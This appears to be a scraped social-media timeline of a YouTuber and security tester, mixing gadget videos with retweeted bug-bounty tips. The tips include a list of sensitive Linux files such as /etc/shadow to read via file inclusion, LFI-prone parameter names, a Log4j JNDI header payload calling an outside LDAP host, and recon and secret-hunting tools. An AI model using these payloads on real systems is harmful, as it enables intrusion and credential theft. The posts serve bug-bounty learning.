Tezarock ◀️

YouTuber I Software Tester | Security Researcher | Memer | Animal Lover,
16000+ Youtube subscribers,

[Kanhaiya Sharma @krishnsec]

Local files for Linux :
/etc/passwd
/etc/shadow
/etc/shells
/etc/group
/etc/profile
/etc/hosts
/proc/self/environ
/proc/self/status
/proc/mounts
#bugbountytips #BugBounty

[Tezarock ◀️ @TezaRock]

@gudetama_bf can you tell me how did you installed nuclei on Phone?
can you share steps?

[Gudetama @gudetama_bf]

JS Recon : WaybackURLs & HTTPX

waybackurls url | grep '\.js$' | awk -F '?' '{print $1}' | sort -u | xargs -I{} python lazyegg[.]py "{}" --js_urls --domains --ips > urls && cat urls | grep '\.' | sort -u | xargs -I{} httpx -silent -u {} -sc -title -td

#bugbountytips #bugbounty

[Tezarock ◀️ @TezaRock]

Unboxing My 100,000 Rupees Laptop
https://t.co/nkHnCgbJt0

#Lenovo #inteli7 #LenovoYoga

[Tezarock ◀️ @TezaRock]

OnePlus Foldable 5G #oneplus https://t.co/dCUUcaV0Yo via @YouTube #OnePlus #OnePlusFold @oneplus

[Tezarock ◀️ @TezaRock]

OnePlus 12 Zoom Test https://t.co/w9dPhWCPbo via @YouTube #OnePlus12 @OnePlus

[Nithin 🦹‍♂️ @thebinarybot]

THREAD: 10 essential Burp Suite extensions you need to use in 2024!

Find vulnerabilities, automate, profit $$$$

[Ninad Mishra @NinadMishra5]

Chiasmodon:It's a handy tool for finding info about a website. You can search for emails, credentials, and more, even Google Play app IDs

https://t.co/9IqOOQPCE6

#BugBounty #bugbountytips

[Ravindra Lakhara🇮🇳 @RootxRavi]

Log4j 🙌 Application was running java

Vulnerable header :

X-Forwarded-For: ${jndi:ldap://${:-874}${:-705}.${hostName}.xforwardedfor.<Server-link>}
#BugBounty #bugbountytips #Security

[Laxita Purbia @PurbiaLaxita]

LFI Vulnerability Testing: Key Parameters

?dir={payload}
?action={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?include={payload}
?page={payload}
?locate={payload}
?site={payload}

#bugbounty #infosec

[Ninad Mishra @NinadMishra5]

BurpGPT

Explore unique vulnerabilities with Burp Suite extension, integrating OpenAI's GPT for a better passive scan.

https://t.co/ashW0G9Rqk

#bugbountytips #bugbounty

[Tezarock ◀️ @TezaRock]

@7h3h4ckv157 Do we need a virtual cloud server to set this up? can you tell where this scripts runs?
Please share resources of it. Thanks

[Tezarock ◀️ @TezaRock]

Nova Lint Removal for Clothes https://t.co/5vE932kCpQ via @YouTube #Nova

[zhero; @zhero___]

1. Identify a URL param allowing a potential LFI
2. FUZZ the param value (GPT can help to create a custom list)
3. Find a new file/page via LFI
4. FUZZ looking for URL params reflected on this newly discovered file

(...) ⬇️

#bugbountytips #Hacking

[Tezarock ◀️ @TezaRock]

JBL Wireless Headphones | Crazy Sound https://t.co/pg32UpFLop via @YouTube #jbltunebeam #JBL

[Karim Habeeb @NoRed0x]

Add 'https://t.co/iscyijuFRP' to the wordlist, and maybe you will get juicy data. Enjoy!
#bugbountytips #bugbountytip #cybersecurity #ethicalhacking

[N$🌟 @__nav1n_]

'All-In-One Regex' by @h4x0r_dz for searching leaked keys and secrets is a must-have. Here is how I was able to find a P1 recently using BurpSuite, The leaked secrets allowed me to see some employee related juicy info. Link: https://t.co/U7At9SmlzT #BugBounty

[Sheikh Rishad @sheikhrishad0]

I responsibly hacked and secured the UK Government and got this cool challenge coin!

Thank you @NCSC

[Mike Takahashi @TakSec]

Google Dork - Unlisted Bug Bounty Programs 🐛

"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone" reward -site:hackerone[.]com

Some programs don't want to be listed in the directory; you can only access them directly via their site.